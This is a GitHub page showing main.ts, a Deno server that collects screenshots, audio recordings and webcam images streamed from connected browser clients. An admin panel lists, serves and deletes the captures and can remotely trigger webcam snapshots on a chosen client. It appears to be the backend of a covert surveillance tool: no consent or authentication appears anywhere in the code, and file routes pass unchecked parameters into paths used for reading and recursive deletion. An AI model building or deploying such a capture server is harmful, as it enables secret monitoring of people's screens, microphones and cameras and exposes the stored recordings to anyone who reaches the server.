-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathmain.ts
More file actions
319 lines (279 loc) · 10.4 KB
/
main.ts
File metadata and controls
319 lines (279 loc) · 10.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
import { Application, Router, send } from "https://deno.land/x/[email protected]/mod.ts";
import { join, basename } from "https://deno.land/[email protected]/path/mod.ts";
import { ensureDir } from "https://deno.land/[email protected]/fs/mod.ts";
const app = new Application();
const router = new Router();
// Store active connections and their data
const connections = new Map<string, {
id: string;
ws: WebSocket;
recordings: string[];
lastScreenshot: number;
lastAudio: number;
}>();
// Ensure recordings directory exists
await ensureDir("./recordings");
async function handleScreenshot(clientId: string, base64Data: string) {
try {
const timestamp = Date.now();
const sessionDir = join("./recordings", clientId, "screenshots");
await ensureDir(sessionDir);
const filename = `screenshot_${timestamp}.png`;
const filepath = join(sessionDir, filename);
console.log(`Saving screenshot: ${filepath}`);
// Convert base64 to buffer and save
const buffer = Uint8Array.from(atob(base64Data.split(',')[1]), c => c.charCodeAt(0));
await Deno.writeFile(filepath, buffer);
const connection = connections.get(clientId);
if (connection) {
connection.recordings.push(join("screenshots", filename));
connection.lastScreenshot = timestamp;
}
console.log(`Screenshot saved successfully: ${filepath}`);
} catch (error) {
console.error(`Error saving screenshot for client ${clientId}:`, error);
}
}
async function handleAudio(clientId: string, base64Data: string) {
try {
const timestamp = Date.now();
const sessionDir = join("./recordings", clientId, "audio");
await ensureDir(sessionDir);
const filename = `audio_${timestamp}.webm`;
const filepath = join(sessionDir, filename);
console.log(`Saving audio: ${filepath}`);
// Convert base64 to buffer and save
const buffer = Uint8Array.from(atob(base64Data.split(',')[1]), c => c.charCodeAt(0));
await Deno.writeFile(filepath, buffer);
const connection = connections.get(clientId);
if (connection) {
connection.recordings.push(join("audio", filename));
connection.lastAudio = timestamp;
}
console.log(`Audio saved successfully: ${filepath}`);
} catch (error) {
console.error(`Error saving audio for client ${clientId}:`, error);
}
}
async function handleWebcamSnapshot(clientId: string, base64Data: string) {
try {
const timestamp = Date.now();
const sessionDir = join("./recordings", clientId, "webcam");
await ensureDir(sessionDir);
const filename = `webcam_${timestamp}.png`;
const filepath = join(sessionDir, filename);
console.log(`Saving webcam snapshot: ${filepath}`);
// Convert base64 to buffer and save
const buffer = Uint8Array.from(atob(base64Data.split(',')[1]), c => c.charCodeAt(0));
await Deno.writeFile(filepath, buffer);
console.log(`Webcam snapshot saved successfully: ${filepath}`);
// Send confirmation with filename back to client
const connection = connections.get(clientId);
if (connection) {
connection.ws.send(JSON.stringify({
type: "webcam_saved",
data: filename
}));
}
} catch (error) {
console.error(`Error saving webcam snapshot for client ${clientId}:`, error);
}
}
// Routes
router.get("/", async (ctx) => {
await send(ctx, "index.html", {
root: join(Deno.cwd(), "public"),
});
});
router.get("/admin", async (ctx) => {
await send(ctx, "admin.html", {
root: join(Deno.cwd(), "public"),
});
});
router.get("/test", async (ctx) => {
await send(ctx, "test.html", {
root: join(Deno.cwd(), "public"),
});
});
router.get("/ws", async (ctx) => {
if (!ctx.isUpgradable) {
ctx.throw(501, "WebSocket upgrade not supported.");
}
const ws = await ctx.upgrade();
const clientId = crypto.randomUUID();
connections.set(clientId, {
id: clientId,
ws,
recordings: [],
lastScreenshot: 0,
lastAudio: 0,
});
console.log(`Client connected: ${clientId}`);
ws.onmessage = async (event) => {
try {
console.log(`Received message from client ${clientId}:`, event.data.substring(0, 100) + '...');
const data = JSON.parse(event.data);
if (data.type === "screenshot") {
console.log(`Processing screenshot for client ${clientId}`);
await handleScreenshot(clientId, data.data);
} else if (data.type === "audio") {
console.log(`Processing audio for client ${clientId}`);
await handleAudio(clientId, data.data);
} else if (data.type === "webcam") {
console.log(`Processing webcam snapshot for client ${clientId}`);
await handleWebcamSnapshot(clientId, data.data);
} else if (data.type === "webcam_saved_admin") {
console.log(`Webcam saved admin message from client ${clientId}`);
// Forward to admin panel
// We need to find the admin connection and forward this message
for (const [adminId, adminConn] of connections.entries()) {
if (adminConn.ws.readyState === WebSocket.OPEN) {
adminConn.ws.send(JSON.stringify({
type: "webcam_saved_admin",
data: data.data,
sessionId: clientId
}));
}
}
} else if (data.type === "webcam_request") {
console.log(`Webcam snapshot requested for client ${clientId}`);
// Forward the request to the target client
const targetClientId = data.sessionId;
const targetConnection = connections.get(targetClientId);
if (targetConnection && targetConnection.ws.readyState === WebSocket.OPEN) {
targetConnection.ws.send(JSON.stringify({ type: "webcam_request", data: "take_webcam_snapshot" }));
console.log(`Webcam request forwarded to client ${targetClientId}`);
} else {
console.log(`Target client ${targetClientId} not found or not connected`);
}
} else if (data.type === "test") {
console.log(`Test message from client ${clientId}: ${data.data}`);
ws.send(JSON.stringify({ type: "test", data: "Hello client!" }));
}
} catch (error) {
console.error("Error processing message:", error);
}
};
ws.onclose = () => {
connections.delete(clientId);
console.log(`Client disconnected: ${clientId}`);
};
});
router.get("/api/connections", async (ctx) => {
// List all session folders in recordings/
const sessions = [];
for await (const entry of Deno.readDir("./recordings")) {
if (entry.isDirectory) sessions.push(entry.name);
}
// For each session, list audio, screenshot, and webcam files
const sessionData = [];
for (const sessionId of sessions) {
const audioFiles = [];
const screenshots = [];
const webcamFiles = [];
const audioDir = join("./recordings", sessionId, "audio");
const screenshotsDir = join("./recordings", sessionId, "screenshots");
const webcamDir = join("./recordings", sessionId, "webcam");
try {
for await (const entry of Deno.readDir(audioDir)) {
if (entry.isFile) audioFiles.push(join("audio", entry.name));
}
} catch {}
try {
for await (const entry of Deno.readDir(screenshotsDir)) {
if (entry.isFile) screenshots.push(join("screenshots", entry.name));
}
} catch {}
try {
for await (const entry of Deno.readDir(webcamDir)) {
if (entry.isFile) webcamFiles.push(join("webcam", entry.name));
}
} catch {}
sessionData.push({
id: sessionId,
recordings: [...screenshots, ...audioFiles, ...webcamFiles],
screenshots,
audio: audioFiles,
webcam: webcamFiles,
lastScreenshot: screenshots.length > 0 ? parseInt(screenshots[screenshots.length-1].split('_').pop().split('.')[0]) : null,
lastAudio: audioFiles.length > 0 ? parseInt(audioFiles[audioFiles.length-1].split('_').pop().split('.')[0]) : null,
lastWebcam: webcamFiles.length > 0 ? parseInt(webcamFiles[webcamFiles.length-1].split('_').pop().split('.')[0]) : null,
active: connections.has(sessionId)
});
}
ctx.response.body = sessionData;
});
router.get("/recordings/:sessionId/:type/:filename", async (ctx) => {
const { sessionId, type, filename } = ctx.params;
await send(ctx, `recordings/${sessionId}/${type}/${filename}`, {
root: Deno.cwd(),
});
});
router.get("/webcam/:sessionId/:filename", async (ctx) => {
const { sessionId, filename } = ctx.params;
await send(ctx, `recordings/${sessionId}/webcam/${filename}`, {
root: Deno.cwd(),
});
});
router.delete("/webcam/:sessionId/:filename", async (ctx) => {
const { sessionId, filename } = ctx.params;
const filepath = join("./recordings", sessionId, "webcam", filename);
try {
await Deno.remove(filepath);
ctx.response.status = 200;
ctx.response.body = { success: true };
} catch (error) {
ctx.response.status = 404;
ctx.response.body = { error: "File not found" };
}
});
router.delete("/recordings/:sessionId/:type/:filename", async (ctx) => {
const { sessionId, type, filename } = ctx.params;
const filepath = join("./recordings", sessionId, type, filename);
try {
await Deno.remove(filepath);
ctx.response.status = 200;
ctx.response.body = { success: true };
} catch (error) {
ctx.response.status = 404;
ctx.response.body = { error: "File not found" };
}
});
router.get("/api/recordings/:clientId", async (ctx) => {
const clientId = ctx.params.clientId;
const files = [];
for await (const entry of Deno.readDir("./recordings")) {
if (entry.isFile && entry.name.includes(clientId)) {
files.push(entry.name);
}
}
ctx.response.body = files;
});
router.delete("/api/session/:sessionId", async (ctx) => {
const { sessionId } = ctx.params;
const sessionPath = join("./recordings", sessionId);
try {
await Deno.remove(sessionPath, { recursive: true });
ctx.response.status = 200;
ctx.response.body = { success: true };
} catch (error) {
ctx.response.status = 404;
ctx.response.body = { error: "Session not found" };
}
});
app.use(router.routes());
app.use(router.allowedMethods());
// Static files (after routes)
app.use(async (ctx, next) => {
try {
await send(ctx, ctx.request.url.pathname, {
root: join(Deno.cwd(), "public"),
});
} catch {
await next();
}
});
console.log("Server running on http://localhost:8000");
console.log("WebSocket endpoint: ws://localhost:8000/ws");
console.log("Admin panel: http://localhost:8000/admin");
await app.listen({ port: 8000 });